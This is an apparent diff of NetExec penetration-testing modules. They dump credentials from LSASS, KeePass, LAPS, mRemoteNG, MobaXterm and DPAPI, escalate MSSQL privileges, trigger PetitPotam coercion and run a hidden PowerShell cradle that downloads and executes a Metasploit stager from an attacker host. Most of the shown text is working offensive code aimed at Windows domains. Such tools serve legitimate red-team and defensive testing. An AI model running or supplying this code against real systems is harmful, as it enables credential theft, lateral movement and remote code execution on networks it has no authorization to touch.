path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -198,7 +202,7 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(host, file).parse()
credentials, tickets, masterkeys = Parser(file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
-53
View File
@@ -1,53 +0,0 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
"""Module by @joaovarelas"""
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
self.context = context
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
key = "HostName"
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
# Query
try:
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
key_handle = ans["phkResult"]
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
self.context.log.highlight(f"{key}: {reg_value}")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
except DCERPCException as e:
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
except Exception as e:
self.context.log.fail(f"Error while querying registry: {e}")
finally:
remote_ops.finish()
+20 -22
View File
@@ -1,11 +1,10 @@
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter
@@ -14,31 +13,30 @@ class NXCModule:
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
multiple_hosts = False
def options(self, context, module_options):
"""No module options"""
""" """
def on_login(self, context, connection):
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
authLevel = RPC_C_AUTHN_LEVEL_NONE
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
portmap.connect()
context.log.debug(f"Retrieving network interface of {connection.host}")
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
context.log.error(f"DCERPCException error: {e}")
context.log.debug("[*] Retrieving network interface of " + connection.host)
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight("Address: " + NetworkAddr)
except Exception as e:
context.log.debug(e)
+26 -26
View File
@@ -1,5 +1,7 @@
import os
import sys
import json
from xmltodict import parse
from time import sleep
from csv import reader
from base64 import b64encode
@@ -379,30 +381,28 @@ class NXCModule:
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
xml_tree = ElementTree.parse(xml_doc_path)
root = xml_tree.getroot()
to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
xml_to_dict = parse(to_string)
dump = json.dumps(xml_to_dict)
obj = json.loads(dump)
root_entries = root.find("./Root/Entry")
if root_entries is not None:
for entry in root_entries:
if entry is not None:
self.print_password(context, entry)
else:
context.log.highlight("None")
objects = root.findall("./Root/Group")
while objects:
current_object = objects.pop(0)
for entry in current_object.findall("./Entry"):
self.print_password(context, entry)
for history in entry.findall("./History"):
for history_entry in history.findall("./Entry"):
self.print_password(context, history_entry)
objects.extend(current_object.findall("./Group"))
def print_password(self, context, entries):
for entry in entries.findall("./String"):
key = entry.find("./Key")
value = entry.find("./Value")
key_text = key.text if key is not None else "None"
value_text = value.text if value is not None and value.text is not None else "None"
context.log.highlight(f"{key_text} : {value_text}")
context.log.highlight("-------------------------------------")
if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
for password in obj2["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
try:
for obj3 in obj2["Entry"]:
for password in obj3["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
except KeyError:
pass
+3 -3
View File
@@ -45,12 +45,12 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
try:
data = d.run()
except Exception as e:
context.log.fail(str(e))
continue
self.logger.fail(str(e))
return
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+7 -16
View File
@@ -99,8 +99,8 @@ class NXCModule:
do_handshake_on_connect=False,
suppress_ragged_eofs=False,
)
ssl_sock.connect((dcIp, 636))
try:
ssl_sock.connect((dcIp, 636))
ssl_sock.do_handshake()
ssl_sock.close()
return True
@@ -126,7 +126,7 @@ class NXCModule:
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail(str(err))
return None
return False
_, err = await ldapsClientConn.bind()
if err is not None:
@@ -142,7 +142,7 @@ class NXCModule:
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(str(e))
return None
return False
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
@@ -156,16 +156,7 @@ class NXCModule:
stype=stype,
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
@@ -174,7 +165,7 @@ class NXCModule:
stype=stype,
)
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
target = MSLDAPTarget(connection.host, 389, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
@@ -185,9 +176,9 @@ class NXCModule:
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
+5 -8
View File
@@ -1,5 +1,3 @@
from pyasn1.error import PyAsn1Error
class NXCModule:
"""
@@ -23,10 +21,9 @@ class NXCModule:
multiple_hosts = False
def on_login(self, context, connection):
result = []
context.log.display("Getting the MachineAccountQuota")
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
try:
maq = result[0]["attributes"][0]["vals"][0]
context.log.highlight(f"MachineAccountQuota: {maq}")
except PyAsn1Error:
context.log.highlight("MachineAccountQuota: <not set>")
searchFilter = "(objectClass=*)"
attributes = ["ms-DS-MachineAccountQuota"]
result = connection.search(searchFilter, attributes)
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
+22 -22
View File
@@ -27,8 +27,6 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -37,11 +35,8 @@ class NXCModule:
windows/x64/powershell_reverse_tcp_ssl
Web Delivery Method (exploit/multi/script/web_delivery):
Set SRVHOST and SRVPORT
Set target 2 (PSH)
Set payload to what you want (windows/meterpreter/reverse_https, etc)
check compatabile payloads with `show payloads`
Optional: SET URIPATH {custom}
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
"""
self.met_ssl = "https"
@@ -58,19 +53,24 @@ class NXCModule:
self.srvport = module_options["SRVPORT"]
def on_admin_login(self, context, connection):
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
context.log.success("Executed payload")
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
command = """$url="{}://{}:{}/{}"
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessInfo.FileName=$PowershellExe
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
$ProcessInfo.UseShellExecute = $False
$ProcessInfo.RedirectStandardOutput = $True
$ProcessInfo.CreateNoWindow = $True
$ProcessInfo.WindowStyle = "Hidden"
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
"http" if self.met_ssl == "http" else "https",
self.srvhost,
self.srvport,
self.rand,
)
context.log.debug(command)
connection.ps_execute(command, force_ps32=True)
context.log.success("Executed payload")
-128
View File
@@ -1,128 +0,0 @@
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
self.conn = None
self.target = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
try:
self.conn = DPLootSMBConnection(self.target)
self.conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
_, credentials = triage.triage_mobaxterm()
for credential in credentials:
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
-212
View File
@@ -1,212 +0,0 @@
import ntpath
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
@dataclass
class MRemoteNgEncryptionAttributes:
kdf_iterations: int
block_cipher_mode: str
encryption_engine: str
full_file_encryption: bool
class NXCModule:
"""
Dump mRemoteNG Passwords
module by @_zblurx
"""
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
]
self.recurse_max = 10
def options(self, context, module_options):
"""
SHARE Share parsed. Default to C$
PASSWORD Custom password to decrypt confCons.xml files
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
self.custom_path = None
if "CUSTOM_PATH" in module_options:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
kdf_iterations=int(main.attrib["KdfIterations"]),
block_cipher_mode=main.attrib["BlockCipherMode"],
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
continue
name = node_attribute["Name"]
hostname = node_attribute["Hostname"]
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
nodes = []
for node in list(main.getchildren()):
node_attributes = node.attrib
if node_attributes["Type"] == "Connection":
nodes.append(node.attrib)
elif node_attributes["Type"] == "Container":
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
new_path = ntpath.join(directory_path, item.get_longname())
if item.is_directory() > 0:
if recurse_level < recurse_max:
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
else:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
return encrypted_password
if encryption_attributes.encryption_engine == "AES":
salt = encrypted_password[:16]
associated_data = encrypted_password[:16]
nonce = encrypted_password[16:32]
ciphertext = encrypted_password[32:-16]
tag = encrypted_password[-16:]
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
if encryption_attributes.block_cipher_mode == "GCM":
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "CCM":
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "EAX":
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
+8 -16
View File
@@ -42,12 +42,12 @@ class NXCModule:
- rollback (remove sysadmin privilege)
"""
self.action = None
self.context = context
if "ACTION" in module_options:
self.action = module_options["ACTION"]
def on_login(self, context, connection):
self.context = context
# get mssql connection
self.mssql_conn = connection.conn
# fetch the current user
@@ -219,7 +219,6 @@ class NXCModule:
"""
if self.is_admin_user(user.username):
user.is_sysadmin = True
self.context.log.debug(f"Updated {user.username} to is_sysadmin")
return True
user.dbowner = self.check_dbowner_privesc(exec_as)
return user.dbowner
@@ -250,15 +249,11 @@ class NXCModule:
self.revert_context(exec_as)
is_admin = res[0][""]
self.context.log.debug(f"IsAdmin Result: {is_admin}")
try:
if int(is_admin):
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
return False
except ValueError:
self.logger.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
if is_admin:
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
return False
def get_databases(self, exec_as="") -> list:
@@ -446,16 +441,13 @@ class NXCModule:
:rtype: bool
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
try:
if is_admin != "NULL" and int(is_admin):
if int(res):
self.admin_privs = True
self.context.log.debug(f"Updated: {username} is admin!")
return True
else:
return False
except ValueError:
self.context.log.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
except Exception:
return False
def revert_context(self, exec_as):
+1
View File
@@ -39,6 +39,7 @@ class NXCModule:
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
"""
self.context = context
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.remote_tmp_dir.split(":")[1]
+271 -2
View File
@@ -1,6 +1,25 @@
# From https://github.com/topotam/PetitPotam
# All credit to @topotam
# Module by @mpgn_x64
import sys
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import (
DCERPCException,
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.uuid import uuidtup_to_bin
class NXCModule:
name = "petitpotam"
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -18,4 +37,254 @@ class NXCModule:
self.pipe = module_options["PIPE"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
dce = coerce(
connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe=self.pipe,
do_kerberos=connection.kerberos,
dc_host=connection.kdcHost,
target_ip=connection.host,
context=context,
)
if efs_rpc_open_file_raw(dce, self.listener, context):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
try:
host = context.db.get_hosts(connection.host)[0]
context.db.add_host(
host.ip,
host.hostname,
host.domain,
host.os,
host.smbv1,
host.signing,
petitpotam=True,
)
except Exception:
context.log.debug("Error updating petitpotam status in database")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# STRUCTURES
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (("Data", "20s"),)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (("Data", ":"),)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
("Data", DWORD),
("cbData", PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
("Data", DWORD),
("cbData", PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
("Type", DWORD),
("Data", DWORD),
("cbData", PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
("Cert", DWORD),
("Users", ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
("Type", DWORD),
("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST),
("Certif", ENCRYPTION_CERTIFICATE),
("Blob", EFS_RPC_BLOB),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (("Data", ":"),)
################################################################################
# RPC CALLS
################################################################################
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
("fileName", WSTR),
("Flag", ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
("hContext", EXIMPORT_CONTEXT_HANDLE),
("ErrorCode", ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (("FileName", WSTR),)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
def coerce(
username,
password,
domain,
lmhash,
nthash,
aesKey,
target,
pipe,
do_kerberos,
dc_host,
target_ip=None,
context=None,
):
binding_params = {
"lsarpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"efsr": {
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
},
"samr": {
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"lsass": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"netlogon": {
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if target_ip:
